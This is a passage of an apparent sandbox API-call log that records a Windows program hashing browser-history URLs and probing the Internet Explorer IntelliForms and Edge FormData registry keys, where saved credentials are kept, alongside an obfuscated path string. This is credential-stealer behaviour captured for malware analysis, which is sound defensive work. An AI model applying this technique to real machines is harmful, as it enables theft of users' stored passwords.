lpString2="B203FB00629C1C0839016915A307" | out: lpString1="B203FB00629C1C0839016915A307") returned="B203FB00629C1C0839016915A307" [0056.882] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="B203FB00629C1C0839016915A307C0") returned 30 [0056.882] lstrcpyA (in: lpString1=0x21fb40, lpString2="B203FB00629C1C0839016915A307C0" | out: lpString1="B203FB00629C1C0839016915A307C0") returned="B203FB00629C1C0839016915A307C0" [0056.882] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="B203FB00629C1C0839016915A307C01A") returned 32 [0056.882] lstrcpyA (in: lpString1=0x21fb40, lpString2="B203FB00629C1C0839016915A307C01A" | out: lpString1="B203FB00629C1C0839016915A307C01A") returned="B203FB00629C1C0839016915A307C01A" [0056.882] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="B203FB00629C1C0839016915A307C01A5A") returned 34 [0056.882] lstrcpyA (in: lpString1=0x21fb40, lpString2="B203FB00629C1C0839016915A307C01A5A" | out: lpString1="B203FB00629C1C0839016915A307C01A5A") returned="B203FB00629C1C0839016915A307C01A5A" [0056.882] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="B203FB00629C1C0839016915A307C01A5A1F") returned 36 [0056.882] lstrcpyA (in: lpString1=0x21fb40, lpString2="B203FB00629C1C0839016915A307C01A5A1F" | out: lpString1="B203FB00629C1C0839016915A307C01A5A1F") returned="B203FB00629C1C0839016915A307C01A5A1F" [0056.882] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="B203FB00629C1C0839016915A307C01A5A1FB8") returned 38 [0056.882] lstrcpyA (in: lpString1=0x21fb40, lpString2="B203FB00629C1C0839016915A307C01A5A1FB8" | out: lpString1="B203FB00629C1C0839016915A307C01A5A1FB8") returned="B203FB00629C1C0839016915A307C01A5A1FB8" [0056.882] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="B203FB00629C1C0839016915A307C01A5A1FB8B6") returned 40 [0056.882] lstrcpyA (in: lpString1=0x21fb40, lpString2="B203FB00629C1C0839016915A307C01A5A1FB8B6" | out: lpString1="B203FB00629C1C0839016915A307C01A5A1FB8B6") returned="B203FB00629C1C0839016915A307C01A5A1FB8B6" [0056.882] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="B203FB00629C1C0839016915A307C01A5A1FB8B6F5") returned 42 [0056.882] lstrcpyA (in: lpString1=0x21fb40, lpString2="B203FB00629C1C0839016915A307C01A5A1FB8B6F5" | out: lpString1="B203FB00629C1C0839016915A307C01A5A1FB8B6F5") returned="B203FB00629C1C0839016915A307C01A5A1FB8B6F5" [0056.882] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.882] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.882] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.882] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.882] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.882] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.883] LocalFree (hMem=0x2e4928) returned 0x0 [0056.883] CoTaskMemFree (pv=0x2d07b8) [0056.883] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.883] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/e9vB5qMYRtmdxvR1.doc", lpSrch="?") returned 0x0 [0056.883] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.883] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2e4bd8 [0056.883] lstrcpyA (in: lpString1=0x2e4bd8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.883] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/e9vB5qMYRtmdxvR1.doc") returned 62 [0056.883] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/e9vB5qMYRtmdxvR1.doc") returned 62 [0056.883] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="49") returned 2 [0056.883] lstrcpyA (in: lpString1=0x21fb40, lpString2="49" | out: lpString1="49") returned="49" [0056.883] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="4994") returned 4 [0056.883] lstrcpyA (in: lpString1=0x21fb40, lpString2="4994" | out: lpString1="4994") returned="4994" [0056.883] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="4994F3") returned 6 [0056.883] lstrcpyA (in: lpString1=0x21fb40, lpString2="4994F3" | out: lpString1="4994F3") returned="4994F3" [0056.883] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="4994F3F8") returned 8 [0056.883] lstrcpyA (in: lpString1=0x21fb40, lpString2="4994F3F8" | out: lpString1="4994F3F8") returned="4994F3F8" [0056.883] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="4994F3F806") returned 10 [0056.883] lstrcpyA (in: lpString1=0x21fb40, lpString2="4994F3F806" | out: lpString1="4994F3F806") returned="4994F3F806" [0056.883] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="4994F3F80602") returned 12 [0056.883] lstrcpyA (in: lpString1=0x21fb40, lpString2="4994F3F80602" | out: lpString1="4994F3F80602") returned="4994F3F80602" [0056.883] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="4994F3F806023B") returned 14 [0056.883] lstrcpyA (in: lpString1=0x21fb40, lpString2="4994F3F806023B" | out: lpString1="4994F3F806023B") returned="4994F3F806023B" [0056.883] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="4994F3F806023B76") returned 16 [0056.883] lstrcpyA (in: lpString1=0x21fb40, lpString2="4994F3F806023B76" | out: lpString1="4994F3F806023B76") returned="4994F3F806023B76" [0056.883] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="4994F3F806023B7698") returned 18 [0056.883] lstrcpyA (in: lpString1=0x21fb40, lpString2="4994F3F806023B7698" | out: lpString1="4994F3F806023B7698") returned="4994F3F806023B7698" [0056.883] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="4994F3F806023B7698CF") returned 20 [0056.883] lstrcpyA (in: lpString1=0x21fb40, lpString2="4994F3F806023B7698CF" | out: lpString1="4994F3F806023B7698CF") returned="4994F3F806023B7698CF" [0056.883] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="4994F3F806023B7698CF96") returned 22 [0056.883] lstrcpyA (in: lpString1=0x21fb40, lpString2="4994F3F806023B7698CF96" | out: lpString1="4994F3F806023B7698CF96") returned="4994F3F806023B7698CF96" [0056.883] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="4994F3F806023B7698CF96B5") returned 24 [0056.883] lstrcpyA (in: lpString1=0x21fb40, lpString2="4994F3F806023B7698CF96B5" | out: lpString1="4994F3F806023B7698CF96B5") returned="4994F3F806023B7698CF96B5" [0056.883] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="4994F3F806023B7698CF96B5EE") returned 26 [0056.883] lstrcpyA (in: lpString1=0x21fb40, lpString2="4994F3F806023B7698CF96B5EE" | out: lpString1="4994F3F806023B7698CF96B5EE") returned="4994F3F806023B7698CF96B5EE" [0056.883] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="4994F3F806023B7698CF96B5EEBC") returned 28 [0056.883] lstrcpyA (in: lpString1=0x21fb40, lpString2="4994F3F806023B7698CF96B5EEBC" | out: lpString1="4994F3F806023B7698CF96B5EEBC") returned="4994F3F806023B7698CF96B5EEBC" [0056.883] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="4994F3F806023B7698CF96B5EEBC61") returned 30 [0056.883] lstrcpyA (in: lpString1=0x21fb40, lpString2="4994F3F806023B7698CF96B5EEBC61" | out: lpString1="4994F3F806023B7698CF96B5EEBC61") returned="4994F3F806023B7698CF96B5EEBC61" [0056.883] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="4994F3F806023B7698CF96B5EEBC61FD") returned 32 [0056.884] lstrcpyA (in: lpString1=0x21fb40, lpString2="4994F3F806023B7698CF96B5EEBC61FD" | out: lpString1="4994F3F806023B7698CF96B5EEBC61FD") returned="4994F3F806023B7698CF96B5EEBC61FD" [0056.884] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="4994F3F806023B7698CF96B5EEBC61FD57") returned 34 [0056.884] lstrcpyA (in: lpString1=0x21fb40, lpString2="4994F3F806023B7698CF96B5EEBC61FD57" | out: lpString1="4994F3F806023B7698CF96B5EEBC61FD57") returned="4994F3F806023B7698CF96B5EEBC61FD57" [0056.884] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="4994F3F806023B7698CF96B5EEBC61FD5741") returned 36 [0056.884] lstrcpyA (in: lpString1=0x21fb40, lpString2="4994F3F806023B7698CF96B5EEBC61FD5741" | out: lpString1="4994F3F806023B7698CF96B5EEBC61FD5741") returned="4994F3F806023B7698CF96B5EEBC61FD5741" [0056.884] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="4994F3F806023B7698CF96B5EEBC61FD5741B8") returned 38 [0056.884] lstrcpyA (in: lpString1=0x21fb40, lpString2="4994F3F806023B7698CF96B5EEBC61FD5741B8" | out: lpString1="4994F3F806023B7698CF96B5EEBC61FD5741B8") returned="4994F3F806023B7698CF96B5EEBC61FD5741B8" [0056.884] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="4994F3F806023B7698CF96B5EEBC61FD5741B8BA") returned 40 [0056.884] lstrcpyA (in: lpString1=0x21fb40, lpString2="4994F3F806023B7698CF96B5EEBC61FD5741B8BA" | out: lpString1="4994F3F806023B7698CF96B5EEBC61FD5741B8BA") returned="4994F3F806023B7698CF96B5EEBC61FD5741B8BA" [0056.884] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="4994F3F806023B7698CF96B5EEBC61FD5741B8BA45") returned 42 [0056.884] lstrcpyA (in: lpString1=0x21fb40, lpString2="4994F3F806023B7698CF96B5EEBC61FD5741B8BA45" | out: lpString1="4994F3F806023B7698CF96B5EEBC61FD5741B8BA45") returned="4994F3F806023B7698CF96B5EEBC61FD5741B8BA45" [0056.884] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.884] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.884] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.884] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.884] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.884] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.884] LocalFree (hMem=0x2e4bd8) returned 0x0 [0056.884] CoTaskMemFree (pv=0x2e4b50) [0056.884] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.884] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/K4i155BHW8C.xlsx", lpSrch="?") returned 0x0 [0056.884] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.884] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2e4fa8 [0056.884] lstrcpyA (in: lpString1=0x2e4fa8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.884] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/K4i155BHW8C.xlsx") returned 85 [0056.884] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/K4i155BHW8C.xlsx") returned 85 [0056.885] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DD") returned 2 [0056.885] lstrcpyA (in: lpString1=0x21fb40, lpString2="DD" | out: lpString1="DD") returned="DD" [0056.885] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DD39") returned 4 [0056.885] lstrcpyA (in: lpString1=0x21fb40, lpString2="DD39" | out: lpString1="DD39") returned="DD39" [0056.885] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DD39D4") returned 6 [0056.885] lstrcpyA (in: lpString1=0x21fb40, lpString2="DD39D4" | out: lpString1="DD39D4") returned="DD39D4" [0056.885] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DD39D4A8") returned 8 [0056.885] lstrcpyA (in: lpString1=0x21fb40, lpString2="DD39D4A8" | out: lpString1="DD39D4A8") returned="DD39D4A8" [0056.885] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DD39D4A8A6") returned 10 [0056.885] lstrcpyA (in: lpString1=0x21fb40, lpString2="DD39D4A8A6" | out: lpString1="DD39D4A8A6") returned="DD39D4A8A6" [0056.885] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DD39D4A8A6C3") returned 12 [0056.885] lstrcpyA (in: lpString1=0x21fb40, lpString2="DD39D4A8A6C3" | out: lpString1="DD39D4A8A6C3") returned="DD39D4A8A6C3" [0056.885] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DD39D4A8A6C345") returned 14 [0056.885] lstrcpyA (in: lpString1=0x21fb40, lpString2="DD39D4A8A6C345" | out: lpString1="DD39D4A8A6C345") returned="DD39D4A8A6C345" [0056.885] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DD39D4A8A6C3457D") returned 16 [0056.885] lstrcpyA (in: lpString1=0x21fb40, lpString2="DD39D4A8A6C3457D" | out: lpString1="DD39D4A8A6C3457D") returned="DD39D4A8A6C3457D" [0056.885] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DD39D4A8A6C3457D60") returned 18 [0056.885] lstrcpyA (in: lpString1=0x21fb40, lpString2="DD39D4A8A6C3457D60" | out: lpString1="DD39D4A8A6C3457D60") returned="DD39D4A8A6C3457D60" [0056.885] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DD39D4A8A6C3457D608B") returned 20 [0056.885] lstrcpyA (in: lpString1=0x21fb40, lpString2="DD39D4A8A6C3457D608B" | out: lpString1="DD39D4A8A6C3457D608B") returned="DD39D4A8A6C3457D608B" [0056.885] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DD39D4A8A6C3457D608BD7") returned 22 [0056.885] lstrcpyA (in: lpString1=0x21fb40, lpString2="DD39D4A8A6C3457D608BD7" | out: lpString1="DD39D4A8A6C3457D608BD7") returned="DD39D4A8A6C3457D608BD7" [0056.885] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DD39D4A8A6C3457D608BD718") returned 24 [0056.885] lstrcpyA (in: lpString1=0x21fb40, lpString2="DD39D4A8A6C3457D608BD718" | out: lpString1="DD39D4A8A6C3457D608BD718") returned="DD39D4A8A6C3457D608BD718" [0056.885] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DD39D4A8A6C3457D608BD7183C") returned 26 [0056.886] lstrcpyA (in: lpString1=0x21fb40, lpString2="DD39D4A8A6C3457D608BD7183C" | out: lpString1="DD39D4A8A6C3457D608BD7183C") returned="DD39D4A8A6C3457D608BD7183C" [0056.886] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DD39D4A8A6C3457D608BD7183C33") returned 28 [0056.886] lstrcpyA (in: lpString1=0x21fb40, lpString2="DD39D4A8A6C3457D608BD7183C33" | out: lpString1="DD39D4A8A6C3457D608BD7183C33") returned="DD39D4A8A6C3457D608BD7183C33" [0056.886] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DD39D4A8A6C3457D608BD7183C33C1") returned 30 [0056.886] lstrcpyA (in: lpString1=0x21fb40, lpString2="DD39D4A8A6C3457D608BD7183C33C1" | out: lpString1="DD39D4A8A6C3457D608BD7183C33C1") returned="DD39D4A8A6C3457D608BD7183C33C1" [0056.886] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DD39D4A8A6C3457D608BD7183C33C1B8") returned 32 [0056.886] lstrcpyA (in: lpString1=0x21fb40, lpString2="DD39D4A8A6C3457D608BD7183C33C1B8" | out: lpString1="DD39D4A8A6C3457D608BD7183C33C1B8") returned="DD39D4A8A6C3457D608BD7183C33C1B8" [0056.886] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DD39D4A8A6C3457D608BD7183C33C1B8AC") returned 34 [0056.886] lstrcpyA (in: lpString1=0x21fb40, lpString2="DD39D4A8A6C3457D608BD7183C33C1B8AC" | out: lpString1="DD39D4A8A6C3457D608BD7183C33C1B8AC") returned="DD39D4A8A6C3457D608BD7183C33C1B8AC" [0056.886] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DD39D4A8A6C3457D608BD7183C33C1B8AC06") returned 36 [0056.886] lstrcpyA (in: lpString1=0x21fb40, lpString2="DD39D4A8A6C3457D608BD7183C33C1B8AC06" | out: lpString1="DD39D4A8A6C3457D608BD7183C33C1B8AC06") returned="DD39D4A8A6C3457D608BD7183C33C1B8AC06" [0056.886] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DD39D4A8A6C3457D608BD7183C33C1B8AC0632") returned 38 [0056.886] lstrcpyA (in: lpString1=0x21fb40, lpString2="DD39D4A8A6C3457D608BD7183C33C1B8AC0632" | out: lpString1="DD39D4A8A6C3457D608BD7183C33C1B8AC0632") returned="DD39D4A8A6C3457D608BD7183C33C1B8AC0632" [0056.886] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DD39D4A8A6C3457D608BD7183C33C1B8AC0632EF") returned 40 [0056.886] lstrcpyA (in: lpString1=0x21fb40, lpString2="DD39D4A8A6C3457D608BD7183C33C1B8AC0632EF" | out: lpString1="DD39D4A8A6C3457D608BD7183C33C1B8AC0632EF") returned="DD39D4A8A6C3457D608BD7183C33C1B8AC0632EF" [0056.886] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="DD39D4A8A6C3457D608BD7183C33C1B8AC0632EF52") returned 42 [0056.886] lstrcpyA (in: lpString1=0x21fb40, lpString2="DD39D4A8A6C3457D608BD7183C33C1B8AC0632EF52" | out: lpString1="DD39D4A8A6C3457D608BD7183C33C1B8AC0632EF52") returned="DD39D4A8A6C3457D608BD7183C33C1B8AC0632EF52" [0056.886] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.886] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.886] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.886] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.886] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.886] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.886] LocalFree (hMem=0x2e4fa8) returned 0x0 [0056.886] CoTaskMemFree (pv=0x2e4ef0) [0056.886] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.886] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/zRgQLmB.xlsx", lpSrch="?") returned 0x0 [0056.886] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.887] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2e5040 [0056.887] lstrcpyA (in: lpString1=0x2e5040, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.887] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/zRgQLmB.xlsx") returned 56 [0056.887] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/zRgQLmB.xlsx") returned 56 [0056.887] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C7") returned 2 [0056.887] lstrcpyA (in: lpString1=0x21fb40, lpString2="C7" | out: lpString1="C7") returned="C7" [0056.887] wsprintfA (in: param_1=0x21fa60, param_2="%s%2.2X" | out: param_1="C70D") returned 4 [0056.887] lstrcpyA (in: lpString1=0x21fb40, lpString2="C70D" | out: lpString1="C70D") returned="C70D" [0056.887] wsprintfA (in: param_1=0x21fa60, 